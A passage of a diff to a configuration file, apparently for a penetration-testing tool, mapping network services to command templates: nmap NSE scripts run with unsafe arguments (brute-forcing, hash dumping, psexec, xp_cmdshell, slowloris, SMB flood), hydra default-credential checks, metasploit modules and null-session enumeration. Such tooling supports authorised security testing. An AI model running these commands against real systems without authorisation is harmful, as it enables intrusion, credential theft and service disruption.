--script-args=unsafe=1", "http,https" +http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https" +http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https" +http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https" +http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https" +http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https" +http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https" +http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https" +http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https" +http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https" +http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https" +http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https" +http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https" +http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https" +http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https" +http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https" +http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https" +http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https" +http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https" +http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https" +http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https" +http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https" +http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https" +http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https" +http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https" +http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https" +http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https" +http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https" +http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https" +http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https" +http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https" +http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https" +http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" +http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" +http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" +http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" +http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" +http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https" +http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https" +http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https" +http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https" +http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https" +http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https" +http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https" +http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https" +http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https" +http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" +http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" +http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" +http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" +http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" +http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" +http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" +imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap +imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap +irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc +irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc +irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc +irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc +irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap +membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https" +ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql +ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql +ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql +ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql +ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql +ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql +ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql +ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql +ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql +ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql +msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s +mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql +mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql +mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql +mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql +mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql +mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql +mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql +mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql +mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql +mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql +mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns -nikto=Run nikto, nikto -o \"[OUTPUT].txt\" -p [PORT] -h [IP], "http,https,ssl,soap,http-proxy,http-alt" +nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs +nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs +nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs +nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt" nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], +oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle +oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns -oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns +oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle +oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns' +oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" +pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 +pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server +realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc +riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https" rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind rwho=Run rwho, rwho -a [IP], who -samrdump=Run samrdump, python /usr/share/doc/python-impacket/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" +samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba +samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" showmount=Show nfs shares, showmount -e [IP], nfs +smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb +smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" +smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb +smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb +smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb +smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb +smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb +smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb +smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb +smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb +smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb +smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb +smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" +smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb +smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp +smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp +smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" +snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" -snmpcheck=Run snmpcheck, snmp-check -t [IP], "snmp,snmptrap" +snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp +snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp +snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp +snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp +snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp +snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp +snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp +snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp +snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp +snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp +snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" +tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp +vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc +vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" -whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=\"[OUTPUT].txt\"", "http,https,ssl,soap,http-proxy,http-alt" +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP], X11 [PortTerminalActions] +firefox=Open with firefox, firefox [IP]:[PORT], ftp=Open with ftp client, ftp [IP] [PORT], ftp -mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" +mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql netcat=Open with netcat, nc -v [IP] [PORT], psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres @@ -83,28 +288,98 @@ vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp [SchedulerSettings] -nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp -screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp +citrix-enum-apps-xml.nse=citrix, tcp +citrix-enum-apps.nse=citrix, tcp +citrix-enum-servers-xml.nse=citrix, tcp +citrix-enum-servers.nse=citrix, tcp +ftp-anon.nse=ftp, tcp +ftp-default=ftp, tcp +ftp-proftpd-backdoor.nse=ftp, tcp +ftp-vsftpd-backdoor.nse=ftp, tcp +ftp-vuln-cve2010-4221.nse=ftp, tcp +http-vuln-cve2009-3960.nse=http, tcp +http-vuln-cve2010-0738.nse=http, tcp +http-vuln-cve2010-2861.nse=http, tcp +http-vuln-cve2011-3192.nse=http, tcp +http-vuln-cve2011-3368.nse=http, tcp +http-vuln-cve2012-1823.nse=http, tcp +http-vuln-cve2013-0156.nse=http, tcp +http-wordpress-enum.nse=http, tcp +http-wordpress-plugins.nse=http, tcp +imap-capabilities.nse=imap, tcp +irc-botnet-channels.nse=irc, tcp +irc-info.nse=irc, tcp +irc-unrealircd-backdoor.nse=irc, tcp +ms-sql-config.nse=ms-sql, tcp +ms-sql-dac.nse=ms-sql, tcp +ms-sql-dump-hashes.nse=ms-sql, tcp +ms-sql-empty-password.nse=ms-sql, tcp +ms-sql-hasdbaccess.nse=ms-sql, tcp +ms-sql-info.nse=ms-sql, tcp +ms-sql-query.nse=ms-sql, tcp +ms-sql-tables.nse=ms-sql, tcp +ms-sql-xp-cmdshell.nse=ms-sql, tcp +msrpc-enum.nse=msrpc, tcp +mssql-default=ms-sql-s, tcp +mysql-audit.nse=mysql, tcp +mysql-databases.nse=mysql, tcp +mysql-default=mysql, tcp +mysql-dump-hashes.nse=mysql, tcp +mysql-empty-password.nse=mysql, tcp +mysql-enum.nse=mysql, tcp +mysql-info.nse=mysql, tcp +mysql-query.nse=mysql, tcp +mysql-users.nse=mysql, tcp +mysql-variables.nse=mysql, tcp +mysql-vuln-cve2012-2122.nse=mysql, tcp +nfs-ls.nse=nfs, tcp +nfs-showmount.nse=nfs, tcp +nfs-statfs.nse=nfs, tcp 